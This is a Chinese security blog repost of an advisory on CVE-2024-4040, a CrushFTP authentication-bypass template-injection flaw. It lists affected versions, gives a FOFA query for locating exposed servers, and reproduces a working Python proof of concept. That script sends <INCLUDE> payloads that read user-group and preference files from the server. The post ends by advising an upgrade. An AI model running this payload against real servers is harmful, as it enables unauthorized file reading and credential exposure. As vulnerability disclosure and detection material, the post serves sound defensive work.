CVE-2024-4040

admin 2024年4月28日16:57:08评论36 views字数 2285阅读7分37秒阅读模式

使

01

漏洞名称

CrushFTP 认证绕过模板注入漏洞

02

漏洞影响

10.0.0 <= CrushFTP < 10.7.1

11.0.0 <= CrushFTP < 11.1.0

03

漏洞描述

CrushFTP是一款支持FTP, FTPS, SFTP, HTTP, HTTPS, WebDAV and WebDAV SSL等协议的跨平台FTP服务器软件。CVE-2024-4040 中,攻击者可构造恶意请求利用模版注入获取他人身份凭据,读取文件等,配合相关功能可造成远程代码执行,控制服务器。

04

FOFA搜索语句
body="CrushFTP"

CVE-2024-4040

05

python poc

poc来自github

https://github.com/airbus-cert/CVE-2024-4040

内容如下

#!/usr/bin/env python3import requestsimport sysimport argparseclass CrushClient(object):    def __init__(self, base_url="http://127.0.0.1:9090"):        self.base = base_url        self.token = ""    @property    def current_auth(self):        if len(self.token) < 4:            return ""        return self.token[-4:]    @property    def headers(self):        h = {}        if self.token:            h["Cookie"] = f"CrushAuth={self.token}; currentAuth={self.current_auth}"            h["user_ip"] = "127.0.0.1"        return h    def get(self, subdir):        r = requests.get(self.base + subdir, headers=self.headers)        return r    def post(self, subdir, data):        h = self.headers        if self.current_auth:            data["c2f"] = self.current_auth        r = requests.post(self.base + subdir, headers=h, data=data)        return r    def cmd(self, command, params={}):        d = {"command": command, "random": "0.34712915617878926"}        d.update(params)        r = self.post("/WebInterface/function/", d)        return r     def login(self, username, password):        r = self.cmd("login", {"username": username, "password": password})        c = r.cookies.get_dict()        if "CrushAuth" not in c:            raise ValueError("CrushAuth cookie not found (invalid credentials?)")        self.token = c["CrushAuth"]    def login_anonymous(self):        r = requests.get(self.base + "/WebInterface/")        c = r.cookies.get_dict()        if "CrushAuth" not in c:            raise ValueError("CrushAuth cookie not found (no anonymous access?)")        self.token = c["CrushAuth"]def main():    parser = argparse.ArgumentParser(description="Scan a target for CrushFTP File Read vulnerability")    parser.add_argument("target", type=str, help="URL to target (example: http://127.0.0.1:9090)")    args = parser.parse_args()    c = CrushClient(args.target)    try:        c.login_anonymous()    except ValueError:        print("Not vulnerable")        return 0    r = c.cmd("exists", {"paths": "<INCLUDE>users/MainUsers/groups.XML</INCLUDE>"})    if "<groups" in r.text:        print("Vulnerable")        return 1    r = c.cmd("exists", {"paths": "<INCLUDE>prefs.XML</INCLUDE>"})    if "<server_prefs" in r.text:        print("Vulnerable")        return 1    print("Not vulnerable")    return 0if __name__ == "__main__":    sys.exit(main() or 0)

运行POC

python scan_host.py http://x.x.x.x

CVE-2024-4040

06

修复建议

升级到最新版本。

原文始发于微信公众号(AI与网安):CVE-2024-4040

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日16:57:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-4040http://cn-sec.com/archives/2695101.html

发表评论

匿名网友 填写信息